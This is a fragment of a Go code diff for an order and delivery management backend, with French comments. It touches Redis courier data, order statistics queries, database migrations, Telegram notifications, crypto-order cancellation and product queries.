|
||||||
|
"completed_deliveries": completedDeliveries,
|
||||||
|
"queue_size": queueSize,
|
||||||
|
"status": status,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetDeliveryPersonsByStatus récupère les livreurs par statut
|
||||||
|
func (d *Database) GetDeliveryPersonsByStatus(status string) ([]string, error) {
|
||||||
|
livreurs, err := d.GetAvailableDeliveryPersons()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var filteredLivreurs []string
|
||||||
|
for _, livreur := range livreurs {
|
||||||
|
username := livreur["username"].(string)
|
||||||
|
currentStatus, _ := d.GetDeliveryPersonStatus(username)
|
||||||
|
if currentStatus == status {
|
||||||
|
filteredLivreurs = append(filteredLivreurs, username)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filteredLivreurs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAvailableDeliveryPersonsCount compte les livreurs disponibles
|
||||||
|
func (d *Database) GetAvailableDeliveryPersonsCount() (int, error) {
|
||||||
|
availableLivreurs, err := d.GetDeliveryPersonsByStatus("available")
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return len(availableLivreurs), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ClearDeliveryPersonData supprime toutes les données d'un livreur (admin uniquement)
|
||||||
|
func (d *Database) ClearDeliveryPersonData(livreurUsername string) error {
|
||||||
|
log.Printf("🗑️ [ClearDeliveryData] Nettoyage données pour: %s", livreurUsername)
|
||||||
|
|
||||||
|
keys := []string{
|
||||||
|
fmt.Sprintf("delivery:status:%s", livreurUsername),
|
||||||
|
fmt.Sprintf("delivery:location:%s", livreurUsername),
|
||||||
|
fmt.Sprintf("delivery:queue:%s", livreurUsername),
|
||||||
|
fmt.Sprintf("delivery:queue:size:%s", livreurUsername),
|
||||||
|
fmt.Sprintf("delivery:current:%s", livreurUsername),
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, key := range keys {
|
||||||
|
if err := Redis.Del(RedisCtx, key).Err(); err != nil {
|
||||||
|
log.Printf("⚠️ [ClearDeliveryData] Erreur suppression clé %s: %v", key, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ [ClearDeliveryData] Données nettoyées pour %s", livreurUsername)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -8,6 +8,8 @@ package db
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
|
"maps"
|
||||||
|
"strconv"
|
||||||
)
|
)
|
||||||
|
|
||||||
// GetCompletedCommandsByUsername récupère toutes les commandes terminées (approved) d'un utilisateur
|
// GetCompletedCommandsByUsername récupère toutes les commandes terminées (approved) d'un utilisateur
|
||||||
@@ -35,3 +37,114 @@ func (d *Database) GetCompletedCommandsByUsername(username string) ([]map[string
|
|||||||
}
|
}
|
||||||
return commands, nil
|
return commands, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetCompletedCommandsWithItems récupère les commandes terminées avec leurs items
|
||||||
|
func (d *Database) GetCompletedCommandsWithItems(username string) ([]map[string]any, error) {
|
||||||
|
commands, err := d.GetCompletedCommandsByUsername(username)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var enrichedCommands []map[string]any
|
||||||
|
|
||||||
|
for _, command := range commands {
|
||||||
|
commandID, _ := strconv.Atoi(fmt.Sprintf("%v", command["id"]))
|
||||||
|
if commandID == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
items, err := d.GetCommandItems(commandID)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("⚠️ [GetCompletedWithItems] Erreur items pour cmd %d: %v", commandID, err)
|
||||||
|
items = []map[string]any{}
|
||||||
|
}
|
||||||
|
|
||||||
|
enrichedCommand := make(map[string]any)
|
||||||
|
maps.Copy(enrichedCommand, command)
|
||||||
|
enrichedCommand["items"] = items
|
||||||
|
enrichedCommand["items_count"] = len(items)
|
||||||
|
|
||||||
|
enrichedCommands = append(enrichedCommands, enrichedCommand)
|
||||||
|
}
|
||||||
|
|
||||||
|
return enrichedCommands, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommandsStatsByUsername récupère les statistiques des commandes d'un utilisateur
|
||||||
|
func (d *Database) GetCommandsStatsByUsername(username string) (map[string]any, error) {
|
||||||
|
query := `
|
||||||
|
SELECT
|
||||||
|
COUNT(*) FILTER (WHERE status = 'approved') as approved_count,
|
||||||
|
COUNT(*) FILTER (WHERE status = 'pending') as pending_count,
|
||||||
|
COUNT(*) FILTER (WHERE status = 'assigned') as assigned_count,
|
||||||
|
COUNT(*) FILTER (WHERE status = 'en_route') as en_route_count,
|
||||||
|
COUNT(*) FILTER (WHERE status = 'livre') as livre_count,
|
||||||
|
COUNT(*) FILTER (WHERE status = 'cancelled') as cancelled_count,
|
||||||
|
COUNT(*) as total_count,
|
||||||
|
COALESCE(SUM(total_prix) FILTER (WHERE status = 'approved'), 0) as total_spent
|
||||||
|
FROM commandes
|
||||||
|
WHERE username = ?
|
||||||
|
`
|
||||||
|
|
||||||
|
var result map[string]any
|
||||||
|
if err := d.GDB.Raw(query, username).Scan(&result).Error; err != nil {
|
||||||
|
log.Printf("❌ [GetCommandsStats] Erreur: %v", err)
|
||||||
|
return nil, fmt.Errorf("erreur lors de la récupération des statistiques: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommandsByStatus récupère les commandes d'un utilisateur par statut
|
||||||
|
func (d *Database) GetCommandsByStatus(username, status string) ([]map[string]any, error) {
|
||||||
|
log.Printf("📋 [GetCommandsByStatus] START - username=%s, status=%s", username, status)
|
||||||
|
|
||||||
|
query := `
|
||||||
|
SELECT
|
||||||
|
id,
|
||||||
|
client_order_id AS client_order_number,
|
||||||
|
username,
|
||||||
|
status,
|
||||||
|
adresse,
|
||||||
|
total_prix::float8 as total_prix,
|
||||||
|
livreur_assign,
|
||||||
|
created_at,
|
||||||
|
updated_at
|
||||||
|
FROM commandes
|
||||||
|
WHERE username = ? AND status = ?
|
||||||
|
ORDER BY created_at DESC
|
||||||
|
`
|
||||||
|
|
||||||
|
var commands []map[string]any
|
||||||
|
if err := d.GDB.Raw(query, username, status).Scan(&commands).Error; err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
|
||||||
|
}
|
||||||
|
return commands, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetRecentCompletedOrders récupère les N dernières commandes terminées d'un utilisateur
|
||||||
|
func (d *Database) GetRecentCompletedOrders(username string, limit int) ([]map[string]any, error) {
|
||||||
|
query := `
|
||||||
|
SELECT
|
||||||
|
id,
|
||||||
|
client_order_id AS client_order_number,
|
||||||
|
username,
|
||||||
|
status,
|
||||||
|
adresse,
|
||||||
|
total_prix::float8 as total_prix,
|
||||||
|
livreur_assign,
|
||||||
|
created_at,
|
||||||
|
updated_at
|
||||||
|
FROM commandes
|
||||||
|
WHERE username = ? AND status = 'approved'
|
||||||
|
ORDER BY created_at DESC
|
||||||
|
LIMIT ?
|
||||||
|
`
|
||||||
|
|
||||||
|
var commands []map[string]any
|
||||||
|
if err := d.GDB.Raw(query, username, limit).Scan(&commands).Error; err != nil {
|
||||||
|
log.Printf("❌ [GetRecentCompleted] Erreur query: %v", err)
|
||||||
|
return nil, fmt.Errorf("erreur lors de la récupération: %w", err)
|
||||||
|
}
|
||||||
|
return commands, nil
|
||||||
|
}
|
||||||
|
|||||||
@@ -120,24 +120,6 @@ func InitDB() *Database {
|
|||||||
log.Fatalf("❌ Erreur migration baskets.quantity: %v", err)
|
log.Fatalf("❌ Erreur migration baskets.quantity: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Migration: baskets.is_reward — marquer les articles issus d'une récompense points
|
|
||||||
if _, err = database.Exec(`ALTER TABLE baskets ADD COLUMN IF NOT EXISTS is_reward BOOLEAN NOT NULL DEFAULT FALSE`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration baskets.is_reward: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: baskets.reward_pool_key — pool de points utilisé pour la récompense
|
|
||||||
if _, err = database.Exec(`ALTER TABLE baskets ADD COLUMN IF NOT EXISTS reward_pool_key VARCHAR(100) NOT NULL DEFAULT ''`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration baskets.reward_pool_key: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: command_items.is_reward + reward_pool_key
|
|
||||||
if _, err = database.Exec(`ALTER TABLE command_items ADD COLUMN IF NOT EXISTS is_reward BOOLEAN NOT NULL DEFAULT FALSE`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration command_items.is_reward: %v", err)
|
|
||||||
}
|
|
||||||
if _, err = database.Exec(`ALTER TABLE command_items ADD COLUMN IF NOT EXISTS reward_pool_key VARCHAR(100) NOT NULL DEFAULT ''`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration command_items.reward_pool_key: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
|
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
|
||||||
if _, err = database.Exec(`
|
if _, err = database.Exec(`
|
||||||
DO $$
|
DO $$
|
||||||
@@ -254,29 +236,6 @@ func InitDB() *Database {
|
|||||||
log.Fatalf("❌ Erreur migration clients.points_extra: %v", err)
|
log.Fatalf("❌ Erreur migration clients.points_extra: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Migration: récompenses réclamées par pool (nb de fois que la récompense a été obtenue)
|
|
||||||
if _, err = database.Exec(`ALTER TABLE clients ADD COLUMN IF NOT EXISTS points_redeemed JSONB NOT NULL DEFAULT '{}'::jsonb`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration clients.points_redeemed: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: flag "à venir" sur les produits
|
|
||||||
if _, err = database.Exec(`ALTER TABLE products ADD COLUMN IF NOT EXISTS coming_soon BOOLEAN NOT NULL DEFAULT FALSE`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration products.coming_soon: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: prix actif/inactif sur les prix de produits
|
|
||||||
if _, err = database.Exec(`ALTER TABLE product_prices ADD COLUMN IF NOT EXISTS active_price BOOLEAN NOT NULL DEFAULT TRUE`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration product_prices.active_price: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: table contacts (SAV Telegram)
|
|
||||||
if _, err = database.Exec(`CREATE TABLE IF NOT EXISTS contacts (
|
|
||||||
id SERIAL PRIMARY KEY,
|
|
||||||
name VARCHAR(255) NOT NULL
|
|
||||||
)`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration contacts: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Lancer le nettoyage périodique des tokens expirés
|
// Lancer le nettoyage périodique des tokens expirés
|
||||||
go database.cleanExpiredTokensPeriodically()
|
go database.cleanExpiredTokensPeriodically()
|
||||||
|
|
||||||
@@ -505,14 +464,6 @@ func (db *Database) createTables() error {
|
|||||||
`CREATE INDEX IF NOT EXISTS idx_issues_command ON delivery_issues(command_id);`,
|
`CREATE INDEX IF NOT EXISTS idx_issues_command ON delivery_issues(command_id);`,
|
||||||
`CREATE INDEX IF NOT EXISTS idx_issues_status ON delivery_issues(status);`,
|
`CREATE INDEX IF NOT EXISTS idx_issues_status ON delivery_issues(status);`,
|
||||||
`CREATE INDEX IF NOT EXISTS idx_issues_reported_by ON delivery_issues(reported_by);`,
|
`CREATE INDEX IF NOT EXISTS idx_issues_reported_by ON delivery_issues(reported_by);`,
|
||||||
|
|
||||||
// ============================
|
|
||||||
// TABLE contacts
|
|
||||||
// ============================
|
|
||||||
`CREATE TABLE IF NOT EXISTS contacts (
|
|
||||||
id SERIAL PRIMARY KEY,
|
|
||||||
name VARCHAR(255) NOT NULL
|
|
||||||
);`,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, query := range queries {
|
for _, query := range queries {
|
||||||
|
|||||||
@@ -9,18 +9,6 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// sendTelegramNotif envoie via le bot principal, puis lbtelegram (BOT1/BOT2) en fallback.
|
|
||||||
func sendTelegramNotif(chatID int64, text string) {
|
|
||||||
if err := services.TelegramBot.SendMessage(chatID, text); err != nil {
|
|
||||||
log.Printf("⚠️ [NOTIF] bot principal échoué: %v — fallback lbtelegram", err)
|
|
||||||
if services.LBTelegram != nil && services.LBTelegram.IsConfigured() {
|
|
||||||
if err2 := services.LBTelegram.SendNotification(chatID, text); err2 != nil {
|
|
||||||
log.Printf("⚠️ [NOTIF] lbtelegram aussi échoué: %v", err2)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) NotifyClient(username string, commandID int, notifType, message string) error {
|
func (d *Database) NotifyClient(username string, commandID int, notifType, message string) error {
|
||||||
notifKey := fmt.Sprintf("notifications:%s", username)
|
notifKey := fmt.Sprintf("notifications:%s", username)
|
||||||
|
|
||||||
@@ -33,20 +21,12 @@ func (d *Database) NotifyClient(username string, commandID int, notifType, messa
|
|||||||
}
|
}
|
||||||
|
|
||||||
notifJSON, _ := json.Marshal(notification)
|
notifJSON, _ := json.Marshal(notification)
|
||||||
pipe := Redis.Pipeline()
|
Redis.LPush(RedisCtx, notifKey, notifJSON)
|
||||||
pipe.LPush(RedisCtx, notifKey, notifJSON)
|
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
||||||
pipe.LTrim(RedisCtx, notifKey, 0, 199)
|
|
||||||
pipe.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
|
||||||
pipe.Exec(RedisCtx) //nolint
|
|
||||||
|
|
||||||
if services.TelegramBot != nil && services.TelegramBot.IsNotificationsEnabled() {
|
if services.TelegramBot != nil && services.TelegramBot.IsConfigured() && services.TelegramBot.IsNotificationsEnabled() {
|
||||||
if chatID, ok, err := d.GetClientTelegramChatID(username); err == nil && ok {
|
if chatID, ok, err := d.GetClientTelegramChatID(username); err == nil && ok {
|
||||||
dedupKey := fmt.Sprintf("notif:dedup:%d:%s", commandID, notifType)
|
go services.TelegramBot.SendMessage(chatID, fmt.Sprintf("🔔 <b>Notification</b>\n\n%s", message))
|
||||||
if set, _ := Redis.SetNX(RedisCtx, dedupKey, "1", 5*time.Minute).Result(); set {
|
|
||||||
go sendTelegramNotif(chatID, fmt.Sprintf("🔔 <b>Notification</b>\n\n%s", message))
|
|
||||||
} else {
|
|
||||||
log.Printf("⚠️ [NOTIF] Doublon détecté (cmd=%d, type=%s) — Telegram ignoré", commandID, notifType)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -67,20 +47,12 @@ func (d *Database) NotifyLivreur(username string, commandID int, notifType, mess
|
|||||||
}
|
}
|
||||||
|
|
||||||
notifJSON, _ := json.Marshal(notification)
|
notifJSON, _ := json.Marshal(notification)
|
||||||
pipe2 := Redis.Pipeline()
|
Redis.LPush(RedisCtx, notifKey, notifJSON)
|
||||||
pipe2.LPush(RedisCtx, notifKey, notifJSON)
|
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
||||||
pipe2.LTrim(RedisCtx, notifKey, 0, 199)
|
|
||||||
pipe2.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
|
||||||
pipe2.Exec(RedisCtx) //nolint
|
|
||||||
|
|
||||||
if services.TelegramBot != nil && services.TelegramBot.IsNotificationsEnabled() {
|
if services.TelegramBot != nil && services.TelegramBot.IsConfigured() && services.TelegramBot.IsNotificationsEnabled() {
|
||||||
if chatID, ok, err := d.GetUserTelegramChatID(username); err == nil && ok {
|
if chatID, ok, err := d.GetUserTelegramChatID(username); err == nil && ok {
|
||||||
dedupKey := fmt.Sprintf("notif:dedup:livreur:%d:%s", commandID, notifType)
|
go services.TelegramBot.SendMessage(chatID, fmt.Sprintf("🔔 <b>Notification</b>\n\n%s", message))
|
||||||
if set, _ := Redis.SetNX(RedisCtx, dedupKey, "1", 5*time.Minute).Result(); set {
|
|
||||||
go sendTelegramNotif(chatID, fmt.Sprintf("🔔 <b>Notification</b>\n\n%s", message))
|
|
||||||
} else {
|
|
||||||
log.Printf("⚠️ [NOTIF] Doublon livreur détecté (cmd=%d, type=%s) — Telegram ignoré", commandID, notifType)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -109,23 +81,20 @@ func (d *Database) NotifyAllAdminCabine(commandID int, clientUsername, deliveryA
|
|||||||
}
|
}
|
||||||
notifJSON, _ := json.Marshal(notification)
|
notifJSON, _ := json.Marshal(notification)
|
||||||
|
|
||||||
pipe := Redis.Pipeline()
|
count := 0
|
||||||
for _, u := range users {
|
for _, u := range users {
|
||||||
notifKey := fmt.Sprintf("notifications:%s", u.Username)
|
notifKey := fmt.Sprintf("notifications:%s", u.Username)
|
||||||
pipe.LPush(RedisCtx, notifKey, notifJSON)
|
Redis.LPush(RedisCtx, notifKey, notifJSON)
|
||||||
pipe.LTrim(RedisCtx, notifKey, 0, 199)
|
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
||||||
pipe.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
|
||||||
}
|
|
||||||
pipe.Exec(RedisCtx) //nolint
|
|
||||||
|
|
||||||
count := len(users)
|
if services.TelegramBot != nil && services.TelegramBot.IsConfigured() && services.TelegramBot.IsNotificationsEnabled() {
|
||||||
if services.TelegramBot != nil && services.TelegramBot.IsNotificationsEnabled() {
|
|
||||||
for _, u := range users {
|
|
||||||
if chatID, ok, err := d.GetUserTelegramChatID(u.Username); err == nil && ok {
|
if chatID, ok, err := d.GetUserTelegramChatID(u.Username); err == nil && ok {
|
||||||
capturedChatID := chatID
|
capturedChatID := chatID
|
||||||
go sendTelegramNotif(capturedChatID, fmt.Sprintf("🔔 <b>Nouvelle commande</b>\n\n%s", msg))
|
capturedMsg := msg
|
||||||
|
go services.TelegramBot.SendMessage(capturedChatID, fmt.Sprintf("🔔 <b>Nouvelle commande</b>\n\n%s", capturedMsg))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
count++
|
||||||
}
|
}
|
||||||
log.Printf("📬 [ADMIN_NOTIF] Notif Redis (%d users) pour commande #%d", count, commandID)
|
log.Printf("📬 [ADMIN_NOTIF] Notif Redis (%d users) pour commande #%d", count, commandID)
|
||||||
}
|
}
|
||||||
@@ -151,23 +120,20 @@ func (d *Database) NotifyAllAdminCabineAlert(alertID int, livreurUsername, alert
|
|||||||
}
|
}
|
||||||
notifJSON, _ := json.Marshal(notification)
|
notifJSON, _ := json.Marshal(notification)
|
||||||
|
|
||||||
pipe := Redis.Pipeline()
|
count := 0
|
||||||
for _, u := range users {
|
for _, u := range users {
|
||||||
notifKey := fmt.Sprintf("notifications:%s", u.Username)
|
notifKey := fmt.Sprintf("notifications:%s", u.Username)
|
||||||
pipe.LPush(RedisCtx, notifKey, notifJSON)
|
Redis.LPush(RedisCtx, notifKey, notifJSON)
|
||||||
pipe.LTrim(RedisCtx, notifKey, 0, 199)
|
Redis.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
||||||
pipe.Expire(RedisCtx, notifKey, 7*24*time.Hour)
|
|
||||||
}
|
|
||||||
pipe.Exec(RedisCtx) //nolint
|
|
||||||
|
|
||||||
count := len(users)
|
if services.TelegramBot != nil && services.TelegramBot.IsConfigured() && services.TelegramBot.IsNotificationsEnabled() {
|
||||||
if services.TelegramBot != nil && services.TelegramBot.IsNotificationsEnabled() {
|
|
||||||
for _, u := range users {
|
|
||||||
if chatID, ok, err := d.GetUserTelegramChatID(u.Username); err == nil && ok {
|
if chatID, ok, err := d.GetUserTelegramChatID(u.Username); err == nil && ok {
|
||||||
capturedChatID := chatID
|
capturedChatID := chatID
|
||||||
go sendTelegramNotif(capturedChatID, fmt.Sprintf("🚨 <b>Alerte livreur</b>\n\n%s", body))
|
capturedBody := body
|
||||||
|
go services.TelegramBot.SendMessage(capturedChatID, fmt.Sprintf("🚨 <b>Alerte livreur</b>\n\n%s", capturedBody))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
count++
|
||||||
}
|
}
|
||||||
log.Printf("🚨 [ALERT_NOTIF] Notif Redis (%d users) pour alerte #%d de %s", count, alertID, livreurUsername)
|
log.Printf("🚨 [ALERT_NOTIF] Notif Redis (%d users) pour alerte #%d de %s", count, alertID, livreurUsername)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package db
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"gestion/models"
|
"gestion/models"
|
||||||
|
"log"
|
||||||
|
|
||||||
"gorm.io/gorm"
|
"gorm.io/gorm"
|
||||||
)
|
)
|
||||||
@@ -66,17 +67,6 @@ func (d *Database) ActivateCryptoCommand(commandID int) error {
|
|||||||
|
|
||||||
func (d *Database) CancelCryptoCommand(commandID int) error {
|
func (d *Database) CancelCryptoCommand(commandID int) error {
|
||||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||||
var cmdStatus string
|
|
||||||
if err := tx.Raw(`SELECT status FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&cmdStatus).Error; err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if cmdStatus == "" {
|
|
||||||
return fmt.Errorf("commande non trouvée")
|
|
||||||
}
|
|
||||||
if cmdStatus != "pending_payment" {
|
|
||||||
return fmt.Errorf("commande non annulable (statut: %s)", cmdStatus)
|
|
||||||
}
|
|
||||||
|
|
||||||
type item struct {
|
type item struct {
|
||||||
ProductID int
|
ProductID int
|
||||||
Quantite float64
|
Quantite float64
|
||||||
@@ -87,9 +77,9 @@ func (d *Database) CancelCryptoCommand(commandID int) error {
|
|||||||
}
|
}
|
||||||
for _, it := range items {
|
for _, it := range items {
|
||||||
if err := tx.Exec(`UPDATE products SET stock = stock + ? WHERE id = ?`, it.Quantite, it.ProductID).Error; err != nil {
|
if err := tx.Exec(`UPDATE products SET stock = stock + ? WHERE id = ?`, it.Quantite, it.ProductID).Error; err != nil {
|
||||||
return fmt.Errorf("erreur restauration stock produit %d: %w", it.ProductID, err)
|
log.Printf("[CANCEL CRYPTO] erreur restauration stock produit %d: %v", it.ProductID, err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tx.Exec(`UPDATE commandes SET status = 'cancelled', updated_at = NOW() WHERE id = ?`, commandID).Error
|
return tx.Exec(`UPDATE commandes SET status = 'cancelled', updated_at = NOW() WHERE id = ? AND status = 'pending_payment'`, commandID).Error
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -52,15 +52,10 @@ func (d *Database) CreateProduct(product any) error {
|
|||||||
UpdatedAt time.Time `gorm:"column:updated_at"`
|
UpdatedAt time.Time `gorm:"column:updated_at"`
|
||||||
}
|
}
|
||||||
|
|
||||||
comingSoonVal := false
|
|
||||||
if prodModel, ok2 := product.(*models.Product); ok2 {
|
|
||||||
comingSoonVal = prodModel.ComingSoon
|
|
||||||
}
|
|
||||||
|
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
INSERT INTO products (name, category, description, stock, unit, coming_soon, created_at, updated_at)
|
INSERT INTO products (name, category, description, stock, unit, created_at, updated_at)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?) RETURNING id, created_at, updated_at`,
|
VALUES (?, ?, ?, ?, ?, ?, ?) RETURNING id, created_at, updated_at`,
|
||||||
p.GetName(), p.GetCategory(), p.GetDescription(), p.GetStock(), p.GetUnit(), comingSoonVal, now, now,
|
p.GetName(), p.GetCategory(), p.GetDescription(), p.GetStock(), p.GetUnit(), now, now,
|
||||||
).Scan(&result).Error
|
).Scan(&result).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [DB CreateProduct] Erreur INSERT: %v", err)
|
log.Printf("❌ [DB CreateProduct] Erreur INSERT: %v", err)
|
||||||
@@ -74,8 +69,8 @@ func (d *Database) CreateProduct(product any) error {
|
|||||||
p.SetUpdatedAt(result.UpdatedAt)
|
p.SetUpdatedAt(result.UpdatedAt)
|
||||||
|
|
||||||
for i, price := range p.GetPrices() {
|
for i, price := range p.GetPrices() {
|
||||||
err := d.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, ?, ?, ?)`,
|
err := d.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price) VALUES (?, ?, ?)`,
|
||||||
result.ID, price.Quantity, price.Price, price.ActivePrice).Error
|
result.ID, price.Quantity, price.Price).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [DB CreateProduct] Erreur insertion prix[%d]: %v", i, err)
|
log.Printf("❌ [DB CreateProduct] Erreur insertion prix[%d]: %v", i, err)
|
||||||
return fmt.Errorf("erreur insertion prix: %v", err)
|
return fmt.Errorf("erreur insertion prix: %v", err)
|
||||||
@@ -93,7 +88,7 @@ func (d *Database) GetProductByID(id int) (models.Product, error) {
|
|||||||
|
|
||||||
var p models.Product
|
var p models.Product
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT id, name, category, description, stock, unit, coming_soon, created_at, updated_at
|
SELECT id, name, category, description, stock, unit, created_at, updated_at
|
||||||
FROM products
|
FROM products
|
||||||
WHERE id = ?`, id).Scan(&p).Error
|
WHERE id = ?`, id).Scan(&p).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -115,33 +110,12 @@ func (d *Database) GetProductByID(id int) (models.Product, error) {
|
|||||||
return p, nil
|
return p, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetProductNamesByIDs retourne un map id→name pour une liste d'IDs.
|
|
||||||
func (d *Database) GetProductNamesByIDs(ids []int) (map[int]string, error) {
|
|
||||||
result := make(map[int]string, len(ids))
|
|
||||||
if len(ids) == 0 {
|
|
||||||
return result, nil
|
|
||||||
}
|
|
||||||
rows, err := d.GDB.Raw(`SELECT id, name FROM products WHERE id IN ?`, ids).Rows()
|
|
||||||
if err != nil {
|
|
||||||
return result, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
for rows.Next() {
|
|
||||||
var id int
|
|
||||||
var name string
|
|
||||||
if err := rows.Scan(&id, &name); err == nil {
|
|
||||||
result[id] = name
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) GetAllProducts() ([]models.Product, error) {
|
func (d *Database) GetAllProducts() ([]models.Product, error) {
|
||||||
log.Println("📦 [GetAllProducts] START")
|
log.Println("📦 [GetAllProducts] START")
|
||||||
|
|
||||||
var products []models.Product
|
var products []models.Product
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT id, name, category, description, stock, unit, coming_soon, created_at, updated_at
|
SELECT id, name, category, description, stock, unit, created_at, updated_at
|
||||||
FROM products
|
FROM products
|
||||||
ORDER BY id ASC`).Scan(&products).Error
|
ORDER BY id ASC`).Scan(&products).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -179,7 +153,7 @@ func (d *Database) GetProductsByCategory(category string) ([]models.Product, err
|
|||||||
|
|
||||||
var products []models.Product
|
var products []models.Product
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
SELECT id, name, category, description, stock, unit, coming_soon, created_at, updated_at
|
SELECT id, name, category, description, stock, unit, created_at, updated_at
|
||||||
FROM products
|
FROM products
|
||||||
WHERE category = ?
|
WHERE category = ?
|
||||||
ORDER BY created_at DESC`, category).Scan(&products).Error
|
ORDER BY created_at DESC`, category).Scan(&products).Error
|
||||||
@@ -203,12 +177,12 @@ func (d *Database) GetProductsByCategory(category string) ([]models.Product, err
|
|||||||
return products, nil
|
return products, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) UpdateProduct(productID int, name, category, description, unit string, comingSoon bool, prices []models.ProductPrice) error {
|
func (d *Database) UpdateProduct(productID int, name, category, description, unit string, stock float64, prices []models.ProductPrice) error {
|
||||||
err := d.GDB.Exec(`
|
err := d.GDB.Exec(`
|
||||||
UPDATE products
|
UPDATE products
|
||||||
SET name = ?, category = ?, description = ?, unit = ?, coming_soon = ?, updated_at = ?
|
SET name = ?, category = ?, description = ?, stock = ?, unit = ?, updated_at = ?
|
||||||
WHERE id = ?`,
|
WHERE id = ?`,
|
||||||
name, category, description, unit, comingSoon, time.Now(), productID).Error
|
name, category, description, stock, unit, time.Now(), productID).Error
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("erreur mise à jour produit: %w", err)
|
return fmt.Errorf("erreur mise à jour produit: %w", err)
|
||||||
}
|
}
|
||||||
@@ -216,39 +190,15 @@ func (d *Database) UpdateProduct(productID int, name, category, description, uni
|
|||||||
d.GDB.Exec(`DELETE FROM product_prices WHERE product_id = ?`, productID)
|
